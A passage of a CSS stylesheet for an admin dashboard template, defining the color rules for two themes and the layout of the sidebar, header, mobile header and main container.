#48494B; } body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-9 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-9 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-9 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-9 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #48494B 3.46%, #48494B 99.86%), #48494B; color: #fff; box-shadow: 0 5px 7px -1px rgba(72, 73, 75, 0.3); } body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-9 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-9 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-9 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-9 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #48494B; } body.theme-9 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-9 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #48494B; } body.theme-9 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-9 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-9 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-9 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-9 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-9 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-9 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-9 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #48494B; } body.theme-9 a:not([class]) { color: #48494B; } body.theme-9 a:not([class]):hover { color: #48494B; } body.theme-9 .text-primary { color: #48494B !important; } body.theme-9 .list-group-item.active { background: linear-gradient(141.55deg, #48494B 3.46%, #48494B 99.86%), #48494B !important; } body.theme-9 .progress-bar:not([class*="bg-"]), body.theme-9 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #48494B; --bs-btn-border-color: #48494B; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #3d3e40; --bs-btn-hover-border-color: #3a3a3c; --bs-btn-focus-shadow-rgb: 99, 100, 102; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #3a3a3c; --bs-btn-active-border-color: #363738; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #48494B; --bs-btn-disabled-border-color: #48494B; } body.theme-9 .btn-outline-primary { --bs-btn-color: #48494B; --bs-btn-border-color: #48494B; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #48494B; --bs-btn-hover-border-color: #48494B; --bs-btn-focus-shadow-rgb: 72, 73, 75; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #48494B; --bs-btn-active-border-color: #48494B; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #48494B; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #48494B; --bs-gradient: none; } body.theme-9 .btn-light-primary { background: #dadbdb; color: #48494B; border-color: #dadbdb; } body.theme-9 .btn-light-primary:hover { background: #48494B; color: #fff; border-color: #48494B; } body.theme-9 .btn-light-primary.focus, body.theme-9 .btn-light-primary:focus { background: #48494B; color: #fff; border-color: #48494B; } body.theme-9 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-9 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-9 .btn-light-primary.dropdown-toggle { background: #48494B; color: #fff; border-color: #48494B; } body.theme-9 .btn-check:active + .btn-light-primary, body.theme-9 .btn-check:checked + .btn-light-primary { background: #48494B; color: #fff; border-color: #48494B; } body.theme-9 .alert-primary { --bs-alert-color: #2b2c2d; --bs-alert-bg: #dadbdb; --bs-alert-border-color: #c8c8c9; } body.theme-9 .alert-primary .alert-link { color: #222324; } body.theme-9 .badge.bg-light-primary { background: #dadbdb; color: #48494B; border-color: #dadbdb; } body.theme-9 .page-item.active .page-link { background: #48494B; border-color: #48494B; } body.theme-9 .nav-link { color: #48494B; } body.theme-9 .nav-link:hover, body.theme-9 .nav-link:focus { color: #48494B; } body.theme-9 .nav-tabs .nav-link { background: none; } body.theme-9 .nav-pills .nav-link { background: none; } body.theme-9 .nav-pills .nav-link:focus, body.theme-9 .nav-pills .nav-link.active, body.theme-9 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #48494B 3.46%, #48494B 99.86%), #48494B; } body.theme-9 .form-check-input:focus, body.theme-9 .form-select:focus, body.theme-9 .form-control:focus, body.theme-9 .custom-select:focus, body.theme-9 .dataTable-selector:focus, body.theme-9 .dataTable-input:focus { border-color: #48494B; box-shadow: 0 0 0 0.2rem rgba(72, 73, 75, 0.25); } body.theme-9 .form-check-input:checked { background-color: #48494B; border-color: #48494B; } body.theme-9 .form-range::-webkit-slider-thumb { background: #48494B; } body.theme-9 .form-range::-webkit-slider-thumb:active { background: #48494B; } body.theme-9 .form-range::-moz-range-thumb { background: #48494B; } body.theme-9 .form-range::-moz-range-thumb:active { background: #48494B; } body.theme-9 .form-check-input:checked { background-color: #48494B; border-color: #48494B; } body.theme-9 .form-check-input[type="checkbox"]:indeterminate { background-color: #48494B; border-color: #48494B; } body.theme-9 .form-check .form-check-input.input-primary:checked { background-color: #48494B; border-color: #48494B; } body.theme-9 pre[class*="language-"] > code { border-left-color: #48494B; background-image: linear-gradient(transparent 50%, rgba(72, 73, 75, 0.04) 50%); } body.theme-9 .card .card-header h5:after, body.theme-9 .card .card-header .h5:after, body.theme-9 .card .card-header .h5:after { background: #48494B; } body.theme-10 { background: linear-gradient(141.55deg, rgba(240, 244, 243, 0) 3.46%, #f0f4f3 99.86%); } body.theme-10 .bg-primary { background: linear-gradient(141.55deg, #0C7785 3.46%, #0C7785 99.86%), #0C7785 !important; } body.theme-10 .dash-header .drp-language .drp-text, body.theme-10 .dash-header .dash-head-link > i:not(.nocolor) { color: #0C7785; } body.theme-10 .dash-header .drp-company .theme-avtar { background: #cee4e7; color: #0C7785; } body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-10 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-10 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-10 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-10 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #0C7785 3.46%, #0C7785 99.86%), #0C7785; color: #fff; box-shadow: 0 5px 7px -1px rgba(12, 119, 133, 0.3); } body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-10 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-10 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-10 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-10 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #0C7785; } body.theme-10 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-10 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #0C7785; } body.theme-10 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-10 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-10 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-10 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-10 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-10 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-10 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-10 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #0C7785; } body.theme-10 a:not([class]) { color: #0C7785; } body.theme-10 a:not([class]):hover { color: #0C7785; } body.theme-10 .text-primary { color: #0C7785 !important; } body.theme-10 .list-group-item.active { background: linear-gradient(141.55deg, #0C7785 3.46%, #0C7785 99.86%), #0C7785 !important; } body.theme-10 .progress-bar:not([class*="bg-"]), body.theme-10 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #0C7785; --bs-btn-border-color: #0C7785; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #0a6571; --bs-btn-hover-border-color: #0a5f6a; --bs-btn-focus-shadow-rgb: 48, 139, 151; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #0a5f6a; --bs-btn-active-border-color: #095964; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #0C7785; --bs-btn-disabled-border-color: #0C7785; } body.theme-10 .btn-outline-primary { --bs-btn-color: #0C7785; --bs-btn-border-color: #0C7785; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #0C7785; --bs-btn-hover-border-color: #0C7785; --bs-btn-focus-shadow-rgb: 12, 119, 133; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #0C7785; --bs-btn-active-border-color: #0C7785; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #0C7785; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #0C7785; --bs-gradient: none; } body.theme-10 .btn-light-primary { background: #cee4e7; color: #0C7785; border-color: #cee4e7; } body.theme-10 .btn-light-primary:hover { background: #0C7785; color: #fff; border-color: #0C7785; } body.theme-10 .btn-light-primary.focus, body.theme-10 .btn-light-primary:focus { background: #0C7785; color: #fff; border-color: #0C7785; } body.theme-10 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-10 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-10 .btn-light-primary.dropdown-toggle { background: #0C7785; color: #fff; border-color: #0C7785; } body.theme-10 .btn-check:active + .btn-light-primary, body.theme-10 .btn-check:checked + .btn-light-primary { background: #0C7785; color: #fff; border-color: #0C7785; } body.theme-10 .alert-primary { --bs-alert-color: #074750; --bs-alert-bg: #cee4e7; --bs-alert-border-color: #b6d6da; } body.theme-10 .alert-primary .alert-link { color: #063940; } body.theme-10 .badge.bg-light-primary { background: #cee4e7; color: #0C7785; border-color: #cee4e7; } body.theme-10 .page-item.active .page-link { background: #0C7785; border-color: #0C7785; } body.theme-10 .nav-link { color: #0C7785; } body.theme-10 .nav-link:hover, body.theme-10 .nav-link:focus { color: #0C7785; } body.theme-10 .nav-tabs .nav-link { background: none; } body.theme-10 .nav-pills .nav-link { background: none; } body.theme-10 .nav-pills .nav-link:focus, body.theme-10 .nav-pills .nav-link.active, body.theme-10 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #0C7785 3.46%, #0C7785 99.86%), #0C7785; } body.theme-10 .form-check-input:focus, body.theme-10 .form-select:focus, body.theme-10 .form-control:focus, body.theme-10 .custom-select:focus, body.theme-10 .dataTable-selector:focus, body.theme-10 .dataTable-input:focus { border-color: #0C7785; box-shadow: 0 0 0 0.2rem rgba(12, 119, 133, 0.25); } body.theme-10 .form-check-input:checked { background-color: #0C7785; border-color: #0C7785; } body.theme-10 .form-range::-webkit-slider-thumb { background: #0C7785; } body.theme-10 .form-range::-webkit-slider-thumb:active { background: #0C7785; } body.theme-10 .form-range::-moz-range-thumb { background: #0C7785; } body.theme-10 .form-range::-moz-range-thumb:active { background: #0C7785; } body.theme-10 .form-check-input:checked { background-color: #0C7785; border-color: #0C7785; } body.theme-10 .form-check-input[type="checkbox"]:indeterminate { background-color: #0C7785; border-color: #0C7785; } body.theme-10 .form-check .form-check-input.input-primary:checked { background-color: #0C7785; border-color: #0C7785; } body.theme-10 pre[class*="language-"] > code { border-left-color: #0C7785; background-image: linear-gradient(transparent 50%, rgba(12, 119, 133, 0.04) 50%); } body.theme-10 .card .card-header h5:after, body.theme-10 .card .card-header .h5:after, body.theme-10 .card .card-header .h5:after { background: #0C7785; } .dash-sidebar { background: #1c232f; box-shadow: 0 1px 20px 0 rgba(69, 90, 100, 0.08); width: 255px; position: fixed; top: 0; bottom: 0; z-index: 1026; } @media (min-width: 1024px) { .dash-sidebar.light-sidebar.transprent-bg { background: transparent; box-shadow: none; } .dash-sidebar.light-sidebar.transprent-bg .navbar-content { height: calc(100vh - 70px); } .dash-sidebar.light-sidebar:not(.transprent-bg) { top: 20px; bottom: 20px; left: 20px; border-radius: 20px; box-shadow: -2.61824px 26px 49px rgba(182, 186, 203, 0.3); } .dash-sidebar.light-sidebar:not(.transprent-bg) .navbar-content { height: calc(100vh - 110px); } } .dash-sidebar ul { list-style: none; padding-left: 0; margin-bottom: 0; } .dash-sidebar .dash-caption { color: #525b69; display: block; padding: 20px 20px 8px; letter-spacing: 0.07em; text-transform: uppercase; font-size: 11px; font-weight: 700; } .dash-sidebar .dash-caption label { margin-bottom: 0; } .dash-sidebar .dash-caption span:not(.badge) { display: block; color: #67758a; font-size: 10px; font-weight: 500; text-transform: capitalize; } .dash-sidebar .dash-micon { margin-right: 15px; border-radius: 12px; height: 35px; width: 35px; display: inline-flex; align-items: center; justify-content: center; vertical-align: middle; } .dash-sidebar .dash-micon i { font-size: 18px; color: #778290; } .dash-sidebar .dash-micon i.material-icons-two-tone { background-color: #778290; font-size: 20px; display: inline-block; } .dash-sidebar .dash-micon > svg { width: 18px; height: 18px; color: #778290; fill: rgba(114, 103, 239, 0.2); } .dash-sidebar .dash-link { display: block; padding: 13px 20px; color: #ced4dc; position: relative; font-size: 13px; font-weight: 600; } .dash-sidebar .dash-link .dash-mtext::after { content: ""; position: absolute; left: 0; top: 0; right: 0; bottom: 0; } .dash-sidebar .dash-link:active, .dash-sidebar .dash-link:focus, .dash-sidebar .dash-link:hover { text-decoration: none; color: #51459d; } .dash-sidebar .dash-link:active .dash-micon i, .dash-sidebar .dash-link:active .dash-micon svg, .dash-sidebar .dash-link:focus .dash-micon i, .dash-sidebar .dash-link:focus .dash-micon svg, .dash-sidebar .dash-link:hover .dash-micon i, .dash-sidebar .dash-link:hover .dash-micon svg { color: #51459d; } .dash-sidebar .dash-arrow { float: right; display: inline-block; transition: all 0.2s ease-in-out; } .dash-sidebar .dash-arrow > svg { width: 16px; height: 16px; } .dash-sidebar .dash-badge { margin-left: 8px; } .dash-sidebar .m-header { height: 70px; display: flex; align-items: center; padding: 15px 20px; } .dash-sidebar .m-header .logo-sm { display: none; } .dash-sidebar .navbar-content { position: relative; padding: 10px 0; } .dash-sidebar .navbar-content .card { margin: 40px 20px 70px; position: relative; } .dash-sidebar .navbar-content .card .img-sidebar-card { margin: 20px 0 -65px; width: 100%; } .dash-sidebar .dash-submenu .dash-link { font-weight: 500; padding: 10px 30px 10px 65px; } .dash-sidebar .dash-submenu .dash-submenu .dash-link { padding: 10px 30px 10px 85px; } .dash-sidebar .dash-submenu .dash-submenu .dash-submenu .dash-link { padding: 10px 30px 10px 105px; } .dash-sidebar .dash-item.disabled a { cursor: not-allowed; -webkit-user-select: none; -moz-user-select: none; user-select: none; } .dash-sidebar .dash-item.active > .dash-link, .dash-sidebar .dash-item:focus > .dash-link, .dash-sidebar .dash-item:hover > .dash-link { color: #fff; } .dash-sidebar .dash-item.active > .dash-link .dash-micon i.material-icons-two-tone, .dash-sidebar .dash-item:focus > .dash-link .dash-micon i.material-icons-two-tone, .dash-sidebar .dash-item:hover > .dash-link .dash-micon i.material-icons-two-tone { background-color: #fff; } .dash-sidebar .dash-item.active > .dash-link .dash-micon i, .dash-sidebar .dash-item.active > .dash-link .dash-micon svg, .dash-sidebar .dash-item:focus > .dash-link .dash-micon i, .dash-sidebar .dash-item:focus > .dash-link .dash-micon svg, .dash-sidebar .dash-item:hover > .dash-link .dash-micon i, .dash-sidebar .dash-item:hover > .dash-link .dash-micon svg { color: #fff; } .dash-sidebar .dash-item > .dash-submenu .dash-item.active > .dash-link, .dash-sidebar .dash-item > .dash-submenu .dash-item:focus > .dash-link, .dash-sidebar .dash-item > .dash-submenu .dash-item:hover > .dash-link { font-weight: 700; color: #51459d; } .dash-sidebar .dash-item > .dash-submenu .dash-item.active > .dash-link .dash-micon i, .dash-sidebar .dash-item > .dash-submenu .dash-item.active > .dash-link .dash-micon svg, .dash-sidebar .dash-item > .dash-submenu .dash-item:focus > .dash-link .dash-micon i, .dash-sidebar .dash-item > .dash-submenu .dash-item:focus > .dash-link .dash-micon svg, .dash-sidebar .dash-item > .dash-submenu .dash-item:hover > .dash-link .dash-micon i, .dash-sidebar .dash-item > .dash-submenu .dash-item:hover > .dash-link .dash-micon svg { color: #51459d; } .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: #161c25; } .dash-sidebar .dash-hasmenu.dash-trigger > .dash-submenu { display: block; } .dash-sidebar .dash-hasmenu.dash-trigger > .dash-link > .dash-arrow { transform: rotate(90deg); } body:not(.minimenu) .dash-sidebar .dash-link { margin: 7px 0; } body:not(.minimenu) .dash-sidebar .dash-submenu { position: relative; } body:not(.minimenu) .dash-sidebar .dash-submenu .dash-item { position: relative; } body:not(.minimenu) .dash-sidebar .dash-submenu .dash-item:before { content: ""; position: absolute; left: 40px; top: 16px; width: 8px; height: 8px; border: 2px solid #ced4dc; border-right-color: #51459d; border-radius: 50%; z-index: 1; transform: rotate(45deg); transition: 0.35s cubic-bezier(0.54, 1.6, 0.5, 1); color: #778290; } body:not(.minimenu) .dash-sidebar .dash-submenu .dash-item.active:before { transform: rotate(230deg); } body:not(.minimenu) .dash-sidebar .dash-submenu .dash-item:hover:before { transform: rotate(230deg); } body:not(.minimenu) .dash-sidebar .dash-submenu .dash-submenu > .dash-item:before { left: 60px; } body:not(.minimenu) .dash-sidebar .dash-submenu .dash-submenu .dash-submenu > .dash-item:before { left: 80px; } .dash-menu-overlay { position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; z-index: 1; background: rgba(0, 0, 0, 0.2); } .minimenu .dash-sidebar { width: 70px; } .minimenu .dash-sidebar .dash-hasmenu.dash-trigger:not(:hover) > .dash-submenu, .minimenu .dash-sidebar .dash-hasmenu:not(:hover) > .dash-submenu { display: none; } .minimenu .dash-sidebar .m-header { padding: 15px 17px; } .minimenu .dash-sidebar .m-header .logo-sm { display: block; } .minimenu .dash-sidebar .m-header .logo-lg { display: none; } .minimenu .dash-sidebar .dash-badge, .minimenu .dash-sidebar .dash-caption, .minimenu .dash-sidebar .dash-mtext, .minimenu .dash-sidebar .dash-navbar > li > a > .dash-arrow { display: none; } .minimenu .dash-sidebar .navbar-content.ps { overflow: visible !important; } .minimenu .dash-sidebar .navbar-content.ps > .ps__rail-X, .minimenu .dash-sidebar .navbar-content.ps > .ps__rail-y { display: none; } .minimenu .dash-sidebar .dash-link { padding: 20px 25px; } .minimenu .dash-sidebar .dash-submenu { background: #1c232f; position: absolute; left: 100%; padding: 8px 0; } .minimenu .dash-sidebar .dash-submenu .dash-link { padding: 8px 30px; } .minimenu .dash-sidebar .dash-item { position: relative; } .minimenu .dash-sidebar .dash-item:hover > .dash-link { width: calc(200px + 70px); background: #161c25; color: #51459d; } .minimenu .dash-sidebar .dash-item:hover > .dash-link .dash-micon { margin-right: 40px; } .minimenu .dash-sidebar .dash-item:hover > .dash-link .dash-micon i { color: #fff; } .minimenu .dash-sidebar .dash-item:hover > .dash-link .dash-mtext { display: inline-block; } .minimenu .dash-sidebar .dash-item:hover > .dash-submenu { display: block; width: 200px; } .minimenu .dash-sidebar .dash-item .dash-item:hover > .dash-link { width: 200px; background: #1c232f; } .minimenu .dash-sidebar .dash-item .dash-item:hover > .dash-submenu { top: 0; } @media (min-width: 1025px) { .navbar-overlay .dash-sidebar.dash-over-menu-active .navbar-wrapper { position: relative; z-index: 5; } .navbar-overlay .dash-sidebar:not(.dash-over-menu-active) { left: -255px; box-shadow: none; } } @media (max-width: 1024px) { .dash-sidebar { left: -255px; box-shadow: none; transition: all 0.15s ease-in-out; } .dash-sidebar.mob-sidebar-active { left: 0; box-shadow: 0 1px 20px 0 rgba(69, 90, 100, 0.08); } .dash-sidebar.mob-sidebar-active .navbar-wrapper { position: relative; z-index: 5; background: inherit; } .minimenu .dash-container { margin-left: 0; } } .dash-header { background: #fff; box-shadow: 0 1px 20px 0 rgba(69, 90, 100, 0.08); color: #525b69; min-height: 70px; position: absolute; left: 255px; right: 0; z-index: 1025; } @media (min-width: 1024px) { .dash-header.transprent-bg { background: transparent; box-shadow: none; } .dash-header:not(.transprent-bg) { top: 20px; left: calc(255px + 40px); right: 30px; border-radius: 20px; box-shadow: -2.61824px 26px 49px rgba(182, 186, 203, 0.3); } .dash-header:not(.transprent-bg) .header-wrapper { padding: 0 12px; } .dash-header:not(.transprent-bg):not(.dash-mob-header) ~ .dash-container { margin-left: calc(255px + 15px); } .dash-header:not(.transprent-bg):not(.dash-mob-header) ~ .dash-container .dash-content { padding-top: 50px; } } .dash-header .burger-menu { position: relative; width: 15px; height: 15px; } .dash-header .burger-menu > span { height: 2px; border-radius: 2px; width: 10px; position: absolute; right: 0; top: calc(50% - 1px); background: #293240; } .dash-header .burger-menu > span:first-child { width: 15px; top: 0; } .dash-header .burger-menu > span:last-child { width: 5px; top: auto; bottom: 0; } .dash-header .header-search { box-shadow: 0 6px 30px rgba(182, 186, 203, 0.3); border-radius: 8px; padding: 4px 8px; background: #ffffff; } .dash-header .header-search .btn-head-search { display: inline-flex; align-items: center; justify-content: center; box-shadow: -3px 4px 23px rgba(0, 0, 0, 0.08); border-radius: 8px; width: 30px; height: 30px; padding: 15px 16px; } .dash-header .header-search .btn-head-search i { font-size: 22px; } .dash-header ul { margin-bottom: 0; display: inline-flex; } .dash-header .header-wrapper { display: flex; padding: 0 30px; } .dash-header .dash-h-item { min-height: 70px; display: flex; align-items: center; position: relative; } .dash-header .dash-head-link { color: #525b69; display: inline-flex; align-items: center; padding: 0.6rem 0.7rem; margin: 0 7.5px; border-radius: 4px; position: relative; font-weight: 500; border-radius: 12px; border: 1px solid rgba(206, 206, 206, 0.2); } @media (min-width: 1024px) { .dash-header .dash-head-link { background: #fff; } } .dash-header .dash-head-link > i { font-size: 20px; color: #51459d; } .dash-header .dash-head-link > i.material-icons-two-tone { font-size: 24px; background-color: #525b69; } .dash-header .dash-head-link > svg { width: 20px; height: 20px; } .dash-header .dash-head-link.active, .dash-header .dash-head-link:active, .dash-header .dash-head-link:focus, .dash-header .dash-head-link:hover { text-decoration: none; color: #51459d; background: rgba(108, 117, 125, 0.05); } .dash-header .dash-head-link.active .hamburger .hamburger-inner, .dash-header .dash-head-link:active .hamburger .hamburger-inner, .dash-header .dash-head-link:focus .hamburger .hamburger-inner, .dash-header .dash-head-link:hover .hamburger .hamburger-inner { background-color: #51459d; } .dash-header .dash-head-link.active .hamburger .hamburger-inner::after, .dash-header .dash-head-link.active .hamburger .hamburger-inner::before, .dash-header .dash-head-link:active .hamburger .hamburger-inner::after, .dash-header .dash-head-link:active .hamburger .hamburger-inner::before, .dash-header .dash-head-link:focus .hamburger .hamburger-inner::after, .dash-header .dash-head-link:focus .hamburger .hamburger-inner::before, .dash-header .dash-head-link:hover .hamburger .hamburger-inner::after, .dash-header .dash-head-link:hover .hamburger .hamburger-inner::before { background-color: #51459d; } .dash-header .dash-head-link.active i.material-icons-two-tone, .dash-header .dash-head-link:active i.material-icons-two-tone, .dash-header .dash-head-link:focus i.material-icons-two-tone, .dash-header .dash-head-link:hover i.material-icons-two-tone { background-color: #51459d; } .dash-header .dash-head-link .dash-h-badge { position: absolute; top: 3px; right: 10px; border-radius: 50%; font-size: 9px; } .dash-header .dash-head-link .dash-h-badge.dots { width: 8px; height: 8px; top: 10px; right: 12px; padding: 0; border: 2px solid #fff; } .dash-header .dash-head-link .user-desc, .dash-header .dash-head-link .user-name { display: block; line-height: 1; } .dash-header .dash-head-link .user-name { margin-bottom: 5px; font-size: 15px; font-weight: 600; } .dash-header .dash-head-link .user-desc { font-size: 12px; font-weight: 400; color: rgba(82, 91, 105, 0.7); } .dash-header .dash-head-link .drp-arrow { color: #525b69; font-size: 14px; margin-left: 5px; opacity: 0.8; } .dash-header .dash-head-link .theme-avtar { border-radius: 12px; font-size: 16px; width: 34px; height: 34px; background: #dcdaeb; color: #51459d; } .dash-header .drp-language i { color: #CECECE; } .dash-header .drp-language .drp-text { color: #51459d; margin-left: 8px; } .dash-header .drp-company .dash-head-link { padding: 5px; } .dash-header .drp-notification .theme-avtar { border-radius: 12px; } .dash-header .drp-notification .dropdown-menu { min-width: 450px; } .dash-header .drp-notification .noti-header, .dash-header .drp-notification .noti-footer, .dash-header .drp-notification .noti-body { padding: 10px 20px; } .dash-header .drp-notification .noti-header { display: flex; align-items: center; justify-content: space-between; } .dash-header .drp-notification .noti-body { position: relative; max-height: calc(100vh - 300px); } .dash-header .dash-h-dropdown { transform: none !important; top: 100% !important; } .dash-header .dash-h-dropdown .fa-circle { font-size: 5px; vertical-align: middle; } .dash-header .dash-h-dropdown.dropdown-menu-end { right: 0 !important; left: auto !important; } .dash-header .dash-level-menu { position: relative; } .dash-header .dash-level-menu:hover > .dropdown-menu { display: block; left: 100%; top: -18px !important; } .dash-header .dash-mega-menu { position: static; } .dash-header .dash-mega-menu .dash-mega-dmenu { transform: none !important; left: 0 !important; right: 0 !important; top: 100% !important; padding: 0; } .dash-header .dash-mega-menu .dash-mega-dmenu .row.g-0 .col { padding: 15px 0; border-right: 1px dashed #f1f1f1; } .dash-header .dash-mega-menu .dash-mega-dmenu .mega-title { margin: 10px 25px; position: relative; } .dash-header .dash-mega-menu .dash-mega-dmenu .dash-mega-list { display: block; list-style: none; padding-left: 0; } .dash-header .drp-search { min-width: 20rem; } .dash-header #vertical-nav-toggle { margin-left: -15px; } .dash-header .user-avtar { width: 30px; margin-right: 10px; border-radius: 50%; } .minimenu .dash-header { left: 70px; } .dash-mob-header { display: none; background: #161c25; height: 70px; align-items: center; justify-content: space-between; position: fixed; z-index: 1026; left: 0; right: 0; padding: 0 10px 0 30px; } .dash-mob-header .hamburger-inner, .dash-mob-header .hamburger-inner::after, .dash-mob-header .hamburger-inner::before { background: #fff; } .dash-mob-header .dash-head-link, .dash-mob-header a { color: #fff; } .notification-modal.modal.fade .modal-dialog { max-width: 310px; transform: translate(100%, 0); } .notification-modal.modal.show .modal-dialog { transform: none; } .notification-modal { padding-right: 0 !important; } .notification-modal .modal-dialog { margin: 0 0 0 auto; } .notification-modal .modal-content { min-height: 100vh; border: none; border-radius: 0; box-shadow: -1px 0 9px -3px rgba(0, 0, 0, 0.6); } @media (min-width: 1024px) { .dash-header .dash-h-item.mob-hamburger { display: none; } } @media (max-width: 767px) { .dash-header .dash-h-item .hide-mob { display: none; } } @media (max-width: 1024px) { .mob-hamburger { display: none; } .dash-mob-header { display: flex; } .dash-header { top: 0; left: 0; transition: all 0.15s ease-in-out; } .dash-header .header-wrapper { padding: 0 15px; } .dash-header .user-avtar { margin-right: 0; } .dash-header .user-avtar ~ span { display: none; } .dash-header .dash-head-link .user-desc, .dash-header .dash-head-link .user-name { display: none; } .dash-header .dash-head-link#mobile-collapse { position: relative; } .dash-header .pcm-logo { margin-left: 30px; } .dash-header .pcm-logo img { max-width: 160px; } .dash-header.mob-header-active { top: 70px; } .dash-header.mob-header-active .header-wrapper { background: #fff; position: relative; z-index: 5; } .dash-header .dash-md-overlay { position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; z-index: 1; background: rgba(0, 0, 0, 0.2); } .dash-header .dash-level-menu .dropdown-menu { left: 0; display: block; padding-left: 30px; } .dash-header .dash-mega-menu .dash-mega-dmenu .row.g-0 > .col { flex: 100%; } .minimenu .dash-header { left: 0; } } #dash-noti-home > .media:hover { margin: -15px; padding: 15px; background: rgba(81, 69, 157, 0.1); } @media (max-width: 575.98px) { .dash-header .dash-head-link { padding: 0.65rem; margin: 0 5px; } .dash-header .dash-h-item { position: static; } .dash-header .drp-notification .dash-h-dropdown { min-width: 100%; left: 0 !important; right: 0 !important; } } .dash-container { position: relative; top: 70px; margin-left: 255px; min-height: calc(100vh - 70px); } .dash-container .dash-content { padding-left: 30px; padding-right: 30px; padding-top: 